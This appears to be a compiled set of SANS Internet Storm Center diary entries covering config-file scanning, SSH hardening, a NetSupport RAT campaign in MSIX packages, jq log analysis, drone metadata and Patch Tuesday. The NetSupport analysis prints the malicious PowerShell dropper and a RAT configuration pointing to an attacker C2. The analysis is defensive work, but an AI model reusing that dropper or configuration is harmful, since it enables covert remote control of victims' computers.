Configuration Scanners Adding Java Specific Configuration Files
Hunting for configuration files is one of the favorite tricks we typically see used against our honeypots. Traditionally, standard and more generic configuration files like ".env" or ".config" are the target, with some cloud-specific configuration files sprinkled in.
Today, I noticed in our "First Seen URL" list a new variation that appears to target Java Spring configuration files. For example, the following files are now being hunted:
/src/main/resources/application-core.yml
/src/main/resources/appsettings.yml
/src/main/resources/config.yml
One particular active source of these scans is %%ip:43.133.9.79%%. This IP address, associated with Tencent's cloud data centers, started scanning for configuration files a couple of days ago and uses a very exhaustive list. For example, see Sunday's data: https://isc.sans.edu/weblogs/sourcedetails.html?date=2024-06-23&ip=43.133.9.79
These lists should be included in vulnerability scanners to proactively scan for any of these URLs in case they are accidentally exposed.
More details about the Spring YAML configuration files can be found here. The file often includes the names of servers in different environments (development vs. production) and may sometimes include usernames and passwords. Oddly, for "application-core.yml", Google only finds one example exposed. But typically, Google would not find these files as they are not exposed via links. An accidentally exposed directory index is the most likely issue that would expose these files to search engines like Google.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Sysinternals' Process Monitor Version 4 Released
Version 4.01 of Sysinternals' Process Monitor (procmon) was released (just one day after the release of version 4.0).
These releases bring improvements to performance and the user interface.
And a new event for the Process start was added.
This can now be displayed as a column:
And it can also be used as a filter, for example to filter out all process that started before the new process you want to analyze:
Didier Stevens
Senior handler
blog.DidierStevens.com
0 Comments
No Excuses, Free Tools to Help Secure Authentication in Ubuntu Linux [Guest Diary]
[This is a Guest Diary by Owen Slubowski, an ISC intern as part of the SANS.edu BACS program]
Over the past 20 weeks I have had the privilege to take part in the SANS Internet Storm Center Internship. This has been an awesome chance to deploy and monitor a honeypot to explore what must be the fate of so many unsecured devices on the internet. Over the tenure here the one thing that was so shocking to me was not only the amount of devices that are conducting password attacks, but also the damage they could have done if their malware had been successful. Over the 20 weeks of this internship, I had more than 16,790 unique devices attempt to gain unauthorized access to my honeypot over SSH and Telnet from 49 different countries!
Figure1: DSheild SIEM graph displaying the different countries interacting with the honeypot
With the amount of threat actors out there it almost seems like a strong password policy isn’t enough on its own. And over the multitude of attack reports I wrote it always listed the same control that could have protected the system: MFA and filtering to protect the system. In my mind these solutions always imply a greater cost that is often outside of our reach as hobbyist and small organizations … Or are they? Over the course of the next few pages, I look to discuss different technical controls I was first introduced to during the internship that can be applied to Ubuntu Linux at no cost and how they can help protect against these attempts to login by various threat actors.
All the testing done below will be done with 3 Linux boxes: Ubuntu-Secure (192.168.137.133) the server, Ubuntu-Client (192.168.137.135) the legitimate user, and Kali (192.168.137.134) the attacker. Ubuntu-Secure has default SSH configurations and is easily guessed by the attacker using hydra and rockyou.txt in less than 2 minutes!
Figure2: Demonstration of successful password guessing attack against ubuntu-client
TCP Wrappers
One of the easiest ways to mitigate password attacks is to only allow legitimate IPs to access remote access protocols. This is usually done with either a host based firewall or a network firewall, but is there an easier and cheaper way? TCP Wrappers is a free tool that does just that. Like an ACL, TCP Wrapper allows us to specify what devices should and shouldn’t be allowed to access the service [1]!
Figure3: The configurations added to host.allow
Above we see our hosts.allow configuration file. In the first line we defined that the SSH service should allow access to 192.168.137.135 (Ubuntu-Client), and the second line functions as a default deny since there are no other legitimate users for this service[1]. Please note that the “All:DENY” statement can alternatively be placed in the host.deny file. There is functionally no difference between the two locations however I find placing both allow and deny statements in the hosts.allow makes for easier reading and troubleshooting. Below we can see that while Ubuntu-Client’s access is unencumbered, the attacker’s attempt has been completely blocked!
Figure4: Ubuntu-Client can successfully SSH to Ubuntu-Secure
Figure5: The attacker cannot connect!
Evidence of successful and refused connections can be found in /var/log/auth.log. This can be analyzed manually or ingested into a SIEM to assist in troubleshooting TCP wrapper rules, and to provide intelligence on adversaries attempting to access your device. Below we see an example log of Ubuntu-Client successfully connecting and evidence of the attacker Kali being refused.
Figure6: In green we see the successful connection and disconnect from Ubuntu-Client, and in red we see the blocked connection from the attacker Kali.
MFA for Ubuntu
MFA is the most secure method of authentication hands down. Instead of opting for a pricey enterprise MFA solution like RSA or DUO in this section we will cover how to use Google authenticator to provide MFA for free! This is a super simple process:
First: install the Google authenticator with “sudo apt-get install libpam-google-authenticator”[2]
Figure7: Installation of Libpam-google-authenticator
Next use your favorite text editor edit the file /etc/pam.d/sshd and on line 2 add the text “auth required pam_google_authenticator.so” to line 2 [2]. Then edit /etc/ssh/sshd_config and change the “ChallengeResponseAuthentication” to “yes” on line 63 [2].
Figure8: Addition to /etc/pam.d/sshd line 2
Figure9: Edit to line 63 in the /etc/ssh/sshd_config file
The final step is to run the command “google-authenticator” to finish setup [2]. This command will ask you five questions, and we answered them “yes, yes, yes, no, yes” as recommended by the Ubuntu.com tutorial [2]. There will also be a large QR code for you to scan to enroll the server into your Google authenticator app.
Figure10: The first lines of the google-authenticator command output with question 1
Figure11: The second half of the google-authenticator output with questions 2-5
Once enrolled restart the SSH service with “sudo systemctl restart sshd.service” then we are ready for a test!
When attempting to log into Ubuntu-Secure we now see the first prompt of “verification code” which is found in our Google authentication app, and this code changes every 30 seconds. If our code was correct, then we will be prompted for our password and we are in!
Figure12: Shows the new authentication workflow with Google authentication running
While the ever-changing Google authenticator application is going to be near impossible to guess for an attacker, let’s run hydra against it for good measure.
Figure13: The attacker can no longer brute force ubuntu-secure
After letting it run for a while, we can easily conclude that adding MFA thwarted this password guessing attack.
Being in the IT and cybersecurity world it seems the costs of controls keeps going up and up. With all the new flashy tools coming out daily it’s easy to forget that there are tons of free tools that can be just as effective at stopping attacks. With limited time in our day to secure our personal infrastructure it’s refreshing to see how both these tools can be effectively deployed easily and quickly improve security! There truly is no excuse for unsecure authentication in 2024!
[1] https://ostechnix.com/restrict-access-linux-servers-using-tcp-wrappers/
[2] https://ubuntu.com/tutorials/configure-ssh-2fa#2-installing-and-configuring-required-packages
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
1 Comments
Handling BOM MIME Files
A reader contacted me with an eml file (which turned out to be benign) that emldump.py could not parse correctly.
I've written several diary entries explaining how to analyse MIME/eml files with my emldump.py tool, back in the days when threat actors were discovering all kinds of obfuscation tricks that I tried to defeat in my emldump.py tool.
The output of emldump.py for a sample MIME/eml file looks like this:
You can see the multipart structure with different parts (4 in this sample).
When emldump.py can not parse a file properly, there is no multipart structure, just text:
I try options -f to filter out obfuscated lines and -F to fix obfuscated lines, but that does not help:
So I need to take a look at the file content to see what is going on. I do a hex/ascii dump of the start of the file with my cut-bytes.py tool:
I see that the file starts with EF BB BF. If I remember correctly, this is a Unicode Byte Order Mark (BOM, Unicode character U+FEFF ZERO WIDTH NO-BREAK SPACE) represented in UTF-8.
I confirm this with my tool file-magic.py:
So it looks like the cullprit is the BOM (which is not necessary neither recommended for UTF-8 files). Let's check by removing the first 3 bytes of the file:
And now emldump.py can parse the file correctly.
So I released a new version of emldump.py that uses the Python codec utf-8-sig in stead of the utf-8 codec. utf-8-sig behaves just like utf-8, except that it drops the BOM when present. Now emldump.py can handle files like these too:
Didier Stevens
Senior handler
blog.DidierStevens.com
0 Comments
New NetSupport Campaign Delivered Through MSIX Packages
It's amazing to see how attackers reuse and combine known techniques to target their victims with new campaigns! Last week, I spotted some malicious MSIX packages on VT that drop a NetSupport[1] client preconfigured to phone home to an attacker's controlled manager. Remote support tools are really "cool" for attackers because they provide a perfect way to communicate with infected computers without the need to develop their own C2 infrastructure and protocol! If some are popular and often searched as evidence of compromise, like AnyDesk or TeamViewer), there are others, like NetSupport, that tend to remain below the radar. This one is available for free for 30 days (more than enough to launch a campaign) and provides all the expected features to interact with victims:
Let's have a look at one example of a malicious MSIX file: update_12_06_2024_5903695.msix (SHA256:e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4). The file has a very low detection score (4/69)[2]. The file contains all the components to download and install the NetSupport client:
# zipdump.py update_12_06_2024_5903695.msix Index Filename Encrypted Timestamp 1 Registry.dat 0 2024-06-12 08:10:20 2 User.dat 0 2024-06-12 08:10:20 3 Assets/logo.png 0 2024-06-12 08:10:20 4 config.json 0 2024-06-12 08:10:20 5 fix.ps1 0 2024-06-12 08:10:20 6 PsfLauncher32.exe 0 2024-06-12 08:10:20 7 PsfLauncher64.exe 0 2024-06-12 08:10:20 8 PsfRunDll32.exe 0 2024-06-12 08:10:20 9 PsfRunDll64.exe 0 2024-06-12 08:10:20 10 PsfRuntime32.dll 0 2024-06-12 08:10:20 11 PsfRuntime64.dll 0 2024-06-12 08:10:20 12 Resources.pri 0 2024-06-12 08:10:20 13 StartingScriptWrapper.ps1 0 2024-06-12 08:10:20 14 VFS/ProgramFilesX64/7z2404-extra/7za.dll 0 2024-06-12 08:10:20 15 VFS/ProgramFilesX64/7z2404-extra/7za.exe 0 2024-06-12 08:10:20 16 VFS/ProgramFilesX64/7z2404-extra/7zxa.dll 0 2024-06-12 08:10:20 17 VFS/ProgramFilesX64/7z2404-extra/arm64/7-ZipFar.dll 0 2024-06-12 08:10:20 18 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.dll 0 2024-06-12 08:10:20 19 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.exe 0 2024-06-12 08:10:20 20 VFS/ProgramFilesX64/7z2404-extra/arm64/7zxa.dll 0 2024-06-12 08:10:20 21 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.hlf 0 2024-06-12 08:10:20 22 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.lng 0 2024-06-12 08:10:20 23 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar.dll 0 2024-06-12 08:10:20 24 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar64.dll 0 2024-06-12 08:10:20 25 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.hlf 0 2024-06-12 08:10:20 26 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.lng 0 2024-06-12 08:10:20 27 VFS/ProgramFilesX64/7z2404-extra/Far/7zToFar.ini 0 2024-06-12 08:10:20 28 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.reg 0 2024-06-12 08:10:20 29 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.txt 0 2024-06-12 08:10:20 30 VFS/ProgramFilesX64/7z2404-extra/history.txt 0 2024-06-12 08:10:20 31 VFS/ProgramFilesX64/7z2404-extra/License.txt 0 2024-06-12 08:10:20 32 VFS/ProgramFilesX64/7z2404-extra/readme.txt 0 2024-06-12 08:10:20 33 VFS/ProgramFilesX64/7z2404-extra/x64/7za.dll 0 2024-06-12 08:10:20 34 VFS/ProgramFilesX64/7z2404-extra/x64/7za.exe 0 2024-06-12 08:10:20 35 VFS/ProgramFilesX64/7z2404-extra/x64/7zxa.dll 0 2024-06-12 08:10:20 36 VFS/ProgramFilesX64/client2.7z 0 2024-06-12 08:10:20 37 VFS/ProgramFilesX64/PsfRunDll64.exe 0 2024-06-12 08:10:20 38 AppxManifest.xml 0 2024-06-12 08:10:20 39 AppxBlockMap.xml 0 2024-06-12 08:10:20 40 [Content_Types].xml 0 2024-06-12 08:10:20 41 AppxMetadata/CodeIntegrity.cat 0 2024-06-12 08:10:20 42 AppxSignature.p7x 0 2024-06-12 08:10:48
You can see that a portable 7zip version is included in the file. It will be used to unpack the NetSupport client stored in the client2.7z file. Everything will happen in fix.ps1:
# zipdump.py update_12_06_2024_5903695.msix -s 5 -d $url = "https://www.google.com/intl/en_en/chrome/" Start-Process $url $domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain if ($domain -eq "WORKGROUP") { } else { cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Documents\Client -p88888888" cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Documents\Client\client1.7z -oC:\Users\Public\Documents\Client -p88888888" $path = "C:\Users\Public\Documents\Client\client32.exe" Start-Process $path }
First, the script will open a browser and display the Chrome download page to defeat the victim. Then, the script will verify if the computer is part of a Microsoft domain (read: a corporate computer). If not, the client won't be installed.
The NetSupport client is double-compressed in client2.7z then client1.7z:
# 7z l client1.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI) Scanning the drive for archives: 1 file, 1510337 bytes (1475 KiB) Listing archive: client1.7z -- Path = client1.7z Type = 7z Physical Size = 1510337 Headers Size = 545 Method = LZMA2:6m BCJ 7zAES Solid = + Blocks = 2 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2024-06-12 10:47:36 D.... 0 0 client 2024-06-12 08:07:49 ....A 652 960 client/client32.ini 2007-07-06 13:07:32 ....A 328 client/nskbfltr.inf 2024-06-12 10:49:40 ....A 1369 client/NSM.LIC 2010-04-27 05:26:38 ....A 46 client/nsm_vpro.ini 2016-12-07 00:03:12 ....A 93560 1508832 client/AudioCapture.dll 2024-06-12 10:48:13 ....A 55459 client/client32.exe 2016-04-26 20:55:34 ....A 328056 client/HTCTL32.DLL 2015-04-24 17:27:28 ....A 773968 client/msvcr100.dll 2016-04-26 20:59:04 ....A 33144 client/pcicapi.dll 2016-04-26 20:59:10 ....A 18808 client/PCICHEK.DLL 2023-06-11 18:51:36 ....A 3710280 client/PCICL32.DLL 2023-06-13 13:01:09 ....A 63320 client/remcmdstub.exe 2023-06-13 13:35:38 ....A 391832 client/TCCTL32.DLL ------------------- ----- ------------ ------------ ------------------------ 2024-06-12 10:49:40 5470822 1509792 13 files, 1 folders
The client32.ini discloses the IP address of the NetSupport Manager (the C2):
# cat client/client32.ini 0x1c42f29c [Client] _present=1 AlwaysOnTop=0 AutoICFConfig=1 DisableChat=1 DisableChatMenu=1 DisableDisconnect=1 DisableMessage=1 DisableReplayMenu=1 DisableRequestHelp=1 Protocols=3 Shared=1 silent=1 SKMode=1 SOS_Alt=0 SOS_LShift=0 SOS_RShift=0 SysTray=0 UnloadMirrorOnDisconnect=0 Usernames=* ValidAddresses.TCP=* [_Info] Filename=C:\Users\Public\Pictures\client32u.ini [_License] quiet=1 [Audio] DisableAudioFilter=1 [General] BeepUsingSpeaker=0 [HTTP] CMPI=60 GatewayAddress=38[.]135[.]52[.]140:443 GSK=GK;OAKDA9C<I?PBGFF9F>D@KHF:J<P SecondaryGateway= SecondaryPort=443 [TCPIP] MulticastListenAddress=
The C2 server (down at this time) is 38[.]135[.]52[.]140 and uses HTTPS. GSK is the shared key used to encrypt communications.
Note the first line (the hex value): It's a checksum of the configuration file. Any change in the file will make it unusable. But, NetSupport has a great support tool called cksini.exe that helps to generate the checksum of a manually edited configuration file:
C:\Temp>cksini Generate checksum for .INI file Checksum is: 0xfbaa0e3e Output is in file: client32.ini
Malicious MSIX files are not new[3], NetSupport has already been heavily used by attackers in the past[4] but they remain a very good combination to compromise more victims and... at a very low cost for attackers!
[1] https://www.netsupportmanager.com
[2] https://www.virustotal.com/gui/file/e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4
[3] https://isc.sans.edu/diary/Redline+Dropped+Through+MSIX+Package/30404
[4] https://isc.sans.edu/diary/sczriptzzbn+inject+pushes+malware+for+NetSupport+RAT/29170
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
0 Comments
Video Meta Data: DJI Drones
Many years ago, I wrote about the EXIF data in pictures taken with Smartphones. Smartphones often record extensive meta data, including GPS and accelerometer data.
So I wondered how much similar data can be found in footage collected with a drone. As an example, I am using a DJI Mini Pro 4 drone. This is a very common and popular drone, and I have footage available.
The drone has the ability to record video as well as still photos. For the still photos, typically saved in JPG format, the data looks like what you expect from a smartphone. It includes camera parameters, date, time, and GPS coordinates (oddly, the height was VERY wrong in my sample if I used the "exists" tools, but inspecting it with a homemade tool, it looks better. Likely just an encoding issue)
Here is the complete EXIF data from a sample image
Tag | Value |
---|---|
exiftags | invalid field offset (Make) |
exiftags | maker note not supported |
Camera-Specific Properties | |
Camera Model | FC8482 |
Camera Software | 10.08.04.08 |
Maximum Lens Aperture | f/1.7 |
Focal Length (35mm Equiv) | 24 mm |
Image-Specific Properties | |
Image Orientation | Top, Left-Hand |
Horizontal Resolution | 72 dpi |
Vertical Resolution | 72 dpi |
Image Created | 2024:03:20 11:43:03 |
Exposure Time | 1/2500 sec |
F-Number | f/1.7 |
Exposure Program | Normal Program |
ISO Speed Rating | 100 |
Lens Aperture | f/1.7 |
Exposure Bias | 0 EV |
Subject Distance | 0.00 m |
Metering Mode | Average |
Light Source | Daylight |
Flash | No Flash |
Focal Length | 6.72 mm |
Color Space Information | sRGB |
Image Width | 4032 |
Image Height | 2268 |
Rendering | Normal |
Exposure Mode | Auto |
White Balance | Auto |
Scene Capture Type | Standard |
Gain Control | None |
Contrast | Normal |
Saturation | Normal |
Sharpness | Normal |
Latitude | N [redacted] |
Longitude | W [redcated] |
Altitude | 4294927.26 m |
GPS Status | Measurement In Progress |
Geodetic Survey Data | WGS-84 |
The coordinates are the coordinates of the drone, not the coordinates of the operator. The serial number of the drone is not displayed. Note that the serial number uses an "Unknown" exif tag and is only displayed with the -u option in exiftags
"Unknown Tags"
Attribute | Value |
---|---|
Title | default |
GPS Info IFD Pointer | 746 |
Unknown | 972 |
Unknown | 1100 |
Unknown | 2 |
Manufacturer Notes | 890 |
Supported FlashPix Version | 808464688 |
Interoperability IFD Pointer | 860 |
Device Settings | 0 |
Unknown | 6TVQL[redacted serial number] |
Unknown | 24 |
Unknown | DJI FC8482 |
Unknown | R98 |
Unknown | 808464688 |
Some of the "Unknown" data may be sensitive, but I have not redacted it so far. Let me know if I should :)
The video data is a bit more complex. DJI saves 3 different files:
- MP4 File: This is the main, full resolution video file
- LRF File: Lower resolution video file
- SRT File: A file with GPS coordinates in "Subtitle" format (more below)
Users sharing a file are most likely going to share the MP4 file. Like the JPEG, some metadata is embedded in the MP4 data stream. It is less verbose than the JPEG data, but it does include the drone's serial number. I did not find GPS data in the MP4 metadata. Just information about the camera and firmware.
The SRT file contains some basic GPS data for each "time slice". In this format, it can easily be overlayed to the video file.
00:00:00,033 --> 00:00:00,066
<font size="28">FrameCnt: 2, DiffTime: 33ms
2024-03-20 12:59:17.852
[iso: 400] [shutter: 1/320.0] [fnum: 1.7] [ev: 2.0] [color_md: default] [focal_len: 36.30] [latitude: 30.xxxxxx] [longitude: -81.xxxxxx] [rel_alt: 6.500 abs_\
alt: -32.309] [ct: 5695] </font>
Again, only the drone's GPS data is saved, not the operator's location. It has been well documented that DJI includes the operator (or better controller) location in the datastream sent to the drone, in part to comply with regulations in some locales [1]. An image file doesn't necessarily give it away.
[1] https://www.wired.com/story/dji-droneid-operator-location-hacker-tool/
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
0 Comments
Overview of My Tools That Handle JSON Data
I wrote a couple of diary entries showing my tools that produce and consume JSON data. Like "Analyzing PDF Streams", "Another PDF Streams Example: Extracting JPEGs" and "Analyzing MSG Files".
The tools than can produce MyJSON output (option –jsonoutput) to stdout are:
- base64dump.py
- cut-bytes.py
- emldump.py
- file-magic.py
- myjson-transform.py
- oledump.py
- pdf-parser.py
- rtfdump.py
- zipdump.py
The tools than can accept MyJSON input (option –jsoninput) from stdin are:
- 1768.py
- amsiscan.py
- base64dump.py
- file-magic.py
- format-bytes.py
- hash.py
- isodump.py
- onedump.py
- pdftool.py
- pngdump.py
- search-for-compression.py
- strings.py
- xmldump.py
The tools than only accept MyJSON input from stdin are:
And if you want to write your own program that can process MyJSON data, my Python program template for binary files process-binary-files.py also supports this format.
Didier Stevens
Senior handler
blog.DidierStevens.com
1 Comments
The Art of JQ and Command-line Fu [Guest Diary]
[This is a Guest Diary by Kaela Reed, an ISC intern as part of the SANS.edu BACS program]
Viewing logs from a command-line can make it difficult to extract meaningful data if you’re unfamiliar with the utilities. While there is a learning curve to working with command-line utilities to sort through logs, they are efficient, flexible, and easy to incorporate into scripts. Using tools like jq, cut, sort, and wc, we can extract details from logs to gather statistics and help us build context from attacks.
What is JSON?
JavaScript Object Notation (JSON) is a log format that is a lightweight and structured data-interchange format [1]. JSON is a common format used for logs and APIs because it’s easy for machines to parse. The simple structure also makes it easy for humans to read, especially when used in conjunction with a utility called jq (JSON Query), which we will revisit after we cover the basics of JSON.
Objects
JSON uses curly braces to hold “objects,” which contain unordered key/value pairs [2]. A key/value pair is separated by a colon and each key/value pair is separated by a comma. You might recognize this format if you’ve ever decoded a JWT (JSON Web Token):
{
"alg": "HS256",
"typ": "JWT"
}
Arrays
JSON also uses ordered lists called “arrays” which can be contained within objects:
{
"method": "POST",
"url": "/aws/credentials",
“useragent”: [
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
] }
JQ to the Rescue
The jq tool is a free, open-source JSON processor written in portable C programming and has no runtime dependencies. It’s easy to parse and filter through JSON logs with jq and it’s already packaged in major distributions of Linux, but you can also download it [3].
Extracting Data from Logs
If we read a JSON file using the cat utility in Linux, it can be difficult to sort through the information:
This is where jq comes in handy! Using jq, we can interact with the data from JSON logs in a meaningful way.
To read a JSON log with jq, we can either cat the file and pipe it through jq, or use the command:
jq . <filename>
Using jq with JSON logs makes it easier for the reader to sort through the data. However, simply printing the log to the screen isn’t enough to extract meaningful information when you’re dealing with large log files and thousands or more records to sort through.
Finding Keys
Recall that JSON consists of key/value pairs. We can list all the keys in a JSON file to help us extract specific information later:
cat logs/web/webhoneypot-2024-04-20.json | jq 'keys'
Source IPs
There’s a key named “sip” which stores source IP addresses. We can filter data by using dot notation with .<field name> [4]. To extract the source IPs from the JSON file, we can use .sip. Let’s look at all the source IPs in the log file by using jq, then pipe it to sort and remove the quotation marks in the output:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq '.sip' | sort -u | tr -d "\""
Even better, we could use jq -r for raw output instead of using the tr utility to get rid of the quotation marks.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u
Piping the previous command to wc -l, we can count how many lines there are, which will also tell us how many source IP addresses we have:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u | wc -l
Extracting URIs
URIs are stored in the field name "url." The following command will print every URI in the log on separate lines:
cat logs/web/webhoneypot-2024-04-20.json | jq '.url'
Piping the previous command to wc -l, we can count the number of URIs, which is 105,218. That’s a lot!
However, if we pipe the jq command to sort, we will see there are duplicate values. Many of the same URIs were visited multiple times and from multiple IP addresses.
To extract a list of unique URIs and get rid of the duplicates, we can follow the same method in the last example by sorting the URIs, but pipe the command through sort or uniq.
We have 510 unique URIs visited!
Extracting Multiple Elements
We can also extract multiple elements and separate them into objects:
cat logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | {time, sip, url}' > dirb-attack.json
Alternative Ways with Arrays
Why did the programmer quit his job?
Because he didn’t get arrays!
In JSON, we can convert fields into different data types. In the last example, we extracted multiple elements and placed them into objects. We could also extract multiple elements and convert them to arrays:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]'
With arrays, we can access the data with an index number. If we want to look at the 3rd element, which consists of URIs, we can reference the index value. With indexing, the first element starts at 0, so if we want to look at the 3rd element, we need to use an index of 2. We can then pipe that to sort -u to sort unique URIs alphabetically:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]' | jq -r .[2] | sort -u
We can also grab only the URIs, join each one with a new line, sort and count how many unique URIs there are:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.url] | join("\n")' | sort -u | wc -l
Converting to CSV Format
We can take different fields from JSON and convert that data into a CSV format [5]. Let’s take the "time", "sip" and "url" fields, then convert the data to a CSV and open it in a spreadsheet editor.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.time,.sip,.url] | @csv' > attack.csv
What is Directory Busting?
In the following example, we’re going to extract useful information from a directory busting attack that came from one specific IP address, but first, what is directory busting?
Directory Busting (Forced Browsing) is a technique used to discover hidden webpages and files on a webserver [6]. This can be done manually by sending HTTP requests to the server requesting common page names and files, however, this is often performed with automated tools and scripts. Automation allows for hundreds or thousands of requests to different URIs in a short period of time. The goal of this kind of attack is to discover sensitive information, map the attack surface, and identify interesting pages (like administrative login pages) that could contain vulnerabilities.
Finding How Many Unique URIs an Attacker Probed
Let’s first look at all entries from the attacker’s IP and send that the output to a separate JSON file:
cat webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148")’ > ip_75.101.186.148.json
If we want to make sure this worked, we can list all the source IPs in the new file we created to make sure the logs are only from the attacker IP address 75.101.186.148:
cat ip_75.101.186.148.json | jq -r '.sip' | sort -u
Perfect! The new file only contains logs from the source IP of 75.101.186.148. If we use the wc utility, we see there are 104,196 entries from that one IP!
Looking at the time stamps, these attacks occurred in a very short amount of time (roughly 5 minutes). This is typical in an automated attack like directory busting.
Let’s pipe the URIs through sort, then count how many different URIs were probed by this attacker:
cat ip_75.101.186.148.json | jq '.url' | sort -u | wc -l
The attacker IP 75.101.186.148 probed 452 unique URIs on the webserver. Looking at the Internet Storm Center’s Report on the attacker IP, that is an accurate number [7]. Although directory busting attacks can be accomplished with brute-force techniques, these are usually accomplished as dictionary attacks. The threat actor has been reported multiple times and has probed the same number of unique URLs each time, so the attacker is likely using the same wordlist to perform the directory busting attack:
The previous commands in the directory busting scenario were run separately, but could have been performed with one command to achieve the same result:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | (.url)' | sort -u | wc -l
Conclusion
These examples weren’t the only ways we could’ve arrived with the same outcome. This is the wonderful thing about using command-line fu! There isn’t just ONE way to reach the same answer and that’s part of what can make log analysis within the command-line fun! We’ve merely scratched the surface with jq, but there is a website you can go to paste JSON data and practice with jq, called JQ Play [8].
Keep practicing the art of command-line fu, grasshopper!
Cheat Sheet
[1] JSON.org. “Introducing JSON.” Json.org, www.json.org/json-en.html. Accessed 28 May 2024.
[2] w3schools. “JSON Syntax.” W3schools.com, 2019, www.w3schools.com/js/js_json_syntax.asp. Accessed 28 May 2024.
[3] jqlang.io. “Download jq,” jqlang.github.io. https://jqlang.github.io/jq/download. Accessed May 28, 2024).
[4] “How to Use JQ to Process JSON on the Command Line.” Linode Guides & Tutorials, 5 Nov. 2021, www.linode.com/docs/guides/using-jq-to-process-json-on-the-command-line/. Accessed 28 May 2024.
[5] Ramanujam, Sriram. “How to Convert JSON to CSV in Linux.” Baeldung, 13 Dec. 2023, www.baeldung.com/linux/json-csv. Accessed 28 May 2024.
[6] OWASP. “Forced Browsing.” Owasp.org, owasp.org/www-community/attacks/Forced_browsing. Accessed 28 May 2024.
[7] Internet Storm Center. “IP Info: 75.101.186.148.” SANS Internet Storm Center, https://isc.sans.edu/ipinfo/75.101.186.148. Accessed 28 May 2024.
[8] jqlay. “Jq Play.” Jqplay.org, jqplay.org. Accessed 28 May 2024.
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
0 Comments
Port 1801 Traffic: Microsoft Message Queue
I planned a bit a more conclusive story here, but after running into issues decoding the packets and running out of time between looking at student papers, I figured I would leave it up to the audience ;-) Maybe someone here better understands the Microsoft Message Queue (MSMQ) protocol.
Yesterday's Microsoft patch Tuesday included a single critical vulnerability, a code execution vulnerability in MSMQ. I noted in the podcast that we see some "background hum" on port 1801, the port used by MSMQ.
So I fired up some netcat listeners on port 1801, and after a short wait, this is what I got:
(this is the TCP payload. I removed IP and TCP header)
0000 10 c0 0b 00 4c 49 4f 52 3c 02 00 00 ff ff ff ff ....LIOR<.......
0010 00 00 02 00 d1 58 73 55 50 91 95 95 49 97 b6 e6 .....XsUP...I...
0020 11 ea 26 c6 07 89 cd 43 4c 39 11 8f 44 45 90 78 ..&....CL9..DE.x
0030 90 9e a0 fc 4e ca de 1d 10 03 00 00 00 00 00 00 ....N...........
The entire payload had 572 bytes, but I removed the trailing 0-bytes.
Any idea? The bit of decoding I did so far suggests that this is MSMQ, and likely just checking if I am running a MSMQ server. What response should I return?
thanks!
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
1 Comments
Microsoft Patch Tuesday June 2024
Microsoft's June 2024 update fixes a total of 58 vulnerabilities. 7 of these vulnerabilities are associated with Chromium and Microsoft's Brave browser. Only one vulnerability is rated critical. One of the vulnerabilities had been disclosed before today.
Vulnerabilities of Interest:
CVE-2023-50868 NSEC closest enclosed proof can exhaust CPU: This issue became public in February. It affects not only Microsoft's DNS implementations but several other DNS servers. The vulnerability was made public by researchers from several German universities and research labs. They called it "KEYTRAP" and released a paper with details [1]
CVE-2024-30080 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability: MSMQ is the service that keeps on giving. The tricky part with MSMQ is that third party software often uses it. MSMQ usually listens on port %%port:1801%%/TCP. We do see a good amount of "background hum" on port 1801, and I do not see a good reason to expose it to the internet.
[1] https://www.athene-center.de/en/keytrap
Description | |||||||
---|---|---|---|---|---|---|---|
CVE | Disclosed | Exploited | Exploitability (old versions) | current version | Severity | CVSS Base (AVG) | CVSS Temporal (AVG) |
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability | |||||||
